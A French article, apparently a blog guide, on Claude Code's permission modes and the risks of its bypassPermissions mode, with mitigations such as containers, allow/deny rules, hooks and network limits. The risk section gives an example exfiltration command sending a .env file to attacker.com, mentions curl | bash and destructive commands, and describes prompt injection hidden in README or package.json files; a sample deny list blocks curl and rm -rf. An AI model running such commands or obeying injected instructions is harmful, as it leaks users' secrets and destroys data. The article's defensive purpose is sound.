Mode bypass des permissions de Claude Code : risques de sécurité et bonnes pratiques

Claude Code dispose d'un mode bypass des permissions (bypassPermissions) qui exécute presque toutes les opérations sans aucune confirmation. Extrêmement pratique pour l'automatisation dans les pipelines CI/CD ou les conteneurs Docker, ce mode peut entraîner de graves problèmes de sécurité s'il est mal utilisé.

Cet article présente les 6 modes de permission de Claude Code, puis analyse en détail la commodité, les risques et les bonnes pratiques du mode bypass, avec des exemples concrets.

1. Qu'est-ce que le mode bypass ?

Le mode bypass désactive presque toutes les invites de confirmation que Claude Code afficherait avant de modifier un fichier ou d'exécuter une commande shell. En mode Manual, les modifications et commandes ordinaires nécessitent une approbation, avec des exceptions telles que allow et auto-allow du sandbox. En mode bypass, ces validations ne sont pas demandées (à quelques exceptions près, détaillées plus bas).

Il existe deux options de lancement pour l'activer (régler defaultMode sur bypassPermissions dans les réglages utilisateur ou gérés fonctionne aussi, mais pas dans les réglages de projet). Une session lancée sans l'avoir activé ne peut pas y basculer en cours de route. Les deux options :

# Via le flag
claude --dangerously-skip-permissions

# Ou via le mode de permission
claude --permission-mode bypassPermissions

Le fait que le nom du flag contienne le mot « dangerously » (dangereusement) est un signal clair : Anthropic met en garde contre une utilisation inconsidérée. Ce mode existe pour permettre l'automatisation dans des environnements totalement isolés (conteneurs, machines virtuelles).

Bypass ignore aussi les confirmations d'écriture dans les chemins protégés. Exemples de restrictions maintenues : règles deny et ask explicites applicables, contrôles de suppression des chemins critiques, outils exigeant votre réponse et hooks. Cette liste n'est pas exhaustive. Consultez aussi les restrictions officielles restantes. Notre guide des règles de permission explique les conditions de correspondance et les mods installés.

2. Les 6 modes de permission de Claude Code

Claude Code propose 6 modes de permission, chacun définissant ce qui peut être exécuté sans confirmation.

Détail de chaque mode

default (Manual) : modifications et exécutions ordinaires demandent une approbation. Exceptions : commandes intégrées en lecture seule, opérations correspondant aux règles allow et auto-allow du sandbox. Manual ne signifie pas que chaque opération demande confirmation. C'est le mode initial lorsque auto est indisponible et dans de nombreuses sessions non interactives.

acceptEdits (Accept edits) : approuve automatiquement les modifications de fichiers dans le périmètre de travail et les opérations reconnues comme mkdir, touch, rm, rmdir, mv, cp et sed. Les opérations hors périmètre ou sur les chemins protégés ont des contrôles distincts. D'autres commandes peuvent aussi éviter la confirmation si elles correspondent à allow ou à auto-allow du sandbox.

plan (Plan) : analyse, conçoit les changements et écrit des fichiers de plan. Il bloque normalement les modifications du code jusqu'à approbation, mais dans un terminal interactif où bypass est disponible dans le sélecteur, l'interdiction d'édition n'est pas appliquée, même en Plan. Le classificateur examine les commandes d'analyse si auto est disponible et useAutoModeDuringPlan activé. Si ce réglage est désactivé ou auto indisponible, les commandes hors de l'ensemble intégré en lecture seule demandent confirmation. Cette exception bypass ne concerne pas -p, le SDK ni le chat VS Code.

auto (Auto) : la quasi-totalité des opérations s'exécute sans confirmation. Toutefois, un classificateur de sécurité fonctionne en arrière-plan et bloque les actions jugées dangereuses. Adapté aux tâches automatisées de longue durée. Depuis la v2.1.283, c'est le mode de départ dans le terminal et VS Code, quels que soient le forfait et le fournisseur (au 4 octobre 2026 ; dans les versions antérieures, seuls les forfaits Pro, Max et Team démarrent en auto et le reste démarre en Manuel ; la session démarre aussi en Manuel si un administrateur a désactivé le mode auto ou si le modèle ne le prend pas en charge).

dontAsk : refuse automatiquement les opérations qui demanderaient confirmation. Seules les opérations sans confirmation, comme les lectures de l'espace de travail et les commandes en lecture seule, ainsi que celles couvertes par allow, s'exécutent. Cela réduit l'attente des approbations, mais d'autres attentes restent, notamment les outils exigeant votre réponse. Absent du cycle Shift+Tab, il se choisit avec claude --permission-mode dontAsk ou defaultMode dans les réglages. Adapté à la CI et aux environnements où vous voulez définir les capacités de Claude à l'avance.

bypassPermissions (Ignorer les permissions) : la demande de confirmation et le classificateur de sécurité sont désactivés (les Hooks continuent de s'exécuter). Conçu pour une utilisation dans des conteneurs ou des machines virtuelles ; Anthropic déconseille son usage en environnement local.

Vous pouvez changer de mode en cours de session avec le raccourci Shift+Tab (de même dans JetBrains). Dans VS Code, on passe par l'indicateur de mode sous le champ de saisie, et dans l'application desktop, par le sélecteur à côté du bouton d'envoi. Le bypass, en revanche, ne peut pas être choisi dans une session lancée sans l'avoir activé.

3. Quand le mode bypass est-il utile ?

Le mode bypass n'est pas uniquement « dangereux ». Utilisé dans le bon environnement, il améliore considérablement la productivité.

Pipelines CI/CD

Dans un pipeline GitHub Actions ou GitLab CI, aucun utilisateur n'est présent pour répondre aux invites de confirmation. Le mode bypass permet d'automatiser entièrement les tests, les revues de code et la génération de documentation.

# Exemple d'utilisation dans GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and generate a report"

Conteneurs Docker

Des conteneurs jetables ou VM peuvent réduire l'impact s'ils sont correctement isolés. Toutefois, montages de l'hôte, identifiants, sockets Docker et réseau étendent cet impact aux ressources exposées. Le code et les données du conteneur peuvent être détruits ; un conteneur seul ne supprime pas le risque.

Traitement par lots de fichiers

Lorsqu'il faut modifier plus de 100 fichiers en une seule opération, chaque invite de confirmation devient un frein considérable. Dans un environnement isolé, le mode bypass permet un traitement efficace.

Intégration avec des scripts d'automatisation

Pour les traitements sans surveillance, bypass est une possibilité. Envisagez aussi dontAsk avec des autorisations étroites, ou auto si disponible. Avec bypass, vérifiez l'exigence officielle d'un environnement isolé sans accès Internet et sans impact possible sur l'hôte.

4. 5 risques de sécurité majeurs

Utiliser le mode bypass dans un environnement non isolé expose aux risques suivants :

Risque 1 : Injection de prompt

C'est le risque le plus critique. Des instructions malveillantes dissimulées dans du code ou des fichiers (par exemple dans un README ou un package.json) peuvent être exécutées telles quelles.

En mode Manual, les appels nécessitant une approbation demandent confirmation avant l'exécution. Les règles allow ou auto-allow du sandbox peuvent éviter cette étape ; une confirmation n'est donc pas garantie pour chaque action dangereuse. Bypass ignore la procédure ordinaire d'approbation.

Risque 2 : Exécution de commandes arbitraires

curl | bash, suppressions et installations de paquets illustrent les nombreuses opérations shell pouvant s'exécuter sans confirmation. Bypass désactive aussi le classificateur auto. Des contrôles tels que deny et ask subsistent, mais ne constituent pas une frontière bloquant toutes les voies.

Risque 3 : Fuite de données

Des commandes capables d'envoyer des données sensibles vers un serveur externe — fichiers .env, jetons d'authentification, clés API — peuvent s'exécuter sans vérification. Par exemple : curl -d @.env https://attacker.com.

Risque 4 : Escalade d'opérations

Une tâche qui commence par des modifications anodines peut évoluer vers des déploiements en production ou des migrations de base de données. En mode Manual, les opérations nécessitant une approbation offrent une occasion de les examiner, sans garantir une confirmation à chaque étape importante. Bypass ignore aussi la procédure ordinaire de confirmation.

Risque 5 : Opérations destructrices irréversibles

git push --force, suppression définitive de fichiers, DROP TABLE en base de données... des opérations irréversibles peuvent s'exécuter sans aucune confirmation.

5. Mesures de protection

Si vous devez utiliser le mode bypass, appliquez les mesures suivantes :

Mesure 1 : Se limiter aux conteneurs et aux VM

C'est la mesure la plus importante. Utilisez le mode bypass exclusivement dans un environnement isolé : conteneur Docker, VM, runner CI de GitHub Actions. Évitez toute exécution directe sur le système hôte.

Mesure 2 : Envisager d'abord le mode auto

Pour réduire les confirmations, vérifiez d'abord les conditions et limites de auto. Le classificateur refuse les actions qu'il juge dangereuses, sans garantir de détecter toutes les actions dangereuses. Ne choisissez pas bypass uniquement pour éviter des confirmations gênantes.

Mesure 3 : Contrôler finement les permissions avec les allowlists

Une règle allow évite l'approbation des appels correspondants. Vous pouvez la restreindre aux commandes nécessaires, mais devez aussi examiner les scripts autorisés. Les règles Bash ne délimitent pas un programme entier : Bash(curl *) ne couvre ni /usr/bin/curl ni les appels via un autre shell. Pour imposer des restrictions de fichiers ou réseau, une isolation au niveau de l'OS est aussi nécessaire.

# Exemple de configuration dans .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Les règles de permission sont évaluées dans l'ordre deny → ask → allow. Comme le deny est prioritaire, les commandes explicitement refusées ne peuvent pas être contournées par une règle allow.

Mesure 4 : Surveiller avec les Hooks

Les Hooks de Claude Code (PreToolUse / PostToolUse) permettent d'exécuter des scripts personnalisés avant ou après l'utilisation d'un outil. Et les Hooks s'exécutent aussi en mode bypass. Ce que le bypass saute, c'est la demande de confirmation, alors que les Hooks interviennent en amont. La documentation officielle précise que les hooks PreToolUse s'exécutent avant l'invite de permission et qu'un hook qui se termine avec le code de sortie 2 interrompt l'appel de l'outil avant même l'évaluation des règles de permission.

Les hooks ajoutent un contrôle, mais leur code et leur configuration doivent aussi être protégés. Dans certains cas, un mod peut remplacer un refus PreToolUse non administré par une approbation ; consultez l'interaction entre règles de permission et mods.

# Exemple de PreToolUse Hook (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Mesure 5 : Restreindre le réseau

Même dans un conteneur, limiter les accès réseau sortants réduit considérablement le risque de fuite de données. L'idéal est de n'autoriser que les points de terminaison nécessaires (API Anthropic, etc.).

Mesure 6 : Revoir systématiquement les modifications

Après toute utilisation du mode bypass, vérifiez les changements avec git diff. Prenez l'habitude de contrôler qu'aucune modification involontaire ni fuite de données sensibles ne s'est produite.

6. Guide de choix du mode

Lorsque vous hésitez sur le mode à utiliser, consultez le schéma de décision suivant :

Recommandations par cas d'usage

Développement quotidien : envisagez acceptEdits. L'édition des fichiers est fluide ; les autres opérations suivent l'évaluation ordinaire des permissions. Allow, auto-allow du sandbox et des conditions similaires peuvent éviter les confirmations.

Analyse du code et conception : Plan convient avant la mise en œuvre. Il bloque normalement l'édition du code, mais écrit des fichiers de plan et des données similaires. Dans un terminal interactif où bypass est disponible dans le sélecteur, il ne bloque pas non plus les modifications. Pour imposer l'absence de changement, consultez les restrictions, dont les droits de l'OS, dans notre guide d'analyse uniquement.

Longues tâches automatisées : combiner auto et sandbox est une option. Cela associe classificateur et limites d'exécution, mais vérifiez les zones permises et les voies extérieures ; ne supposez pas que toute opération dangereuse sera détectée.

Pipelines CI/CD : si les appels autorisés peuvent être définis à l'avance, envisagez dontAsk avec des règles allow. Cela évite les attentes ordinaires d'approbation, mais des arrêts restent, comme les outils exigeant votre réponse et les erreurs. Bypass exige aussi isolation, restrictions réseau et montages minimaux ; le mode seul ne garantit pas la fin d'une exécution sans surveillance.

Le mode bypass n'est que l'un des différents modes de permission. Pour comprendre la place de chaque mode et savoir lequel choisir, consultez notre tour d'horizon de tous les modes d'autorisation de Claude Code. Pour en savoir plus sur les autres fonctionnalités de Claude Code, consultez Les 3 modes de Claude : différences et usages. Pour les tarifs, rendez-vous sur Comparatif des prix Claude vs ChatGPT.

7. Résumé

Le mode bypass de Claude Code est un outil puissant lorsqu'il est utilisé dans le bon environnement, mais une mauvaise utilisation peut provoquer des incidents de sécurité graves.

Si la sécurité des outils IA vous préoccupe, évaluez votre niveau de compétence avec le Diagnostic IA. Vous pouvez aussi suivre le Cours d'introduction pour approfondir vos connaissances de manière structurée.

FAQ

Le périmètre et les exceptions des permissions et de l'isolation ont été revérifiés dans les sources officielles le 9 octobre 2026. Aucun réglage de l'appareil n'a été modifié et aucun essai de démarrage effectué.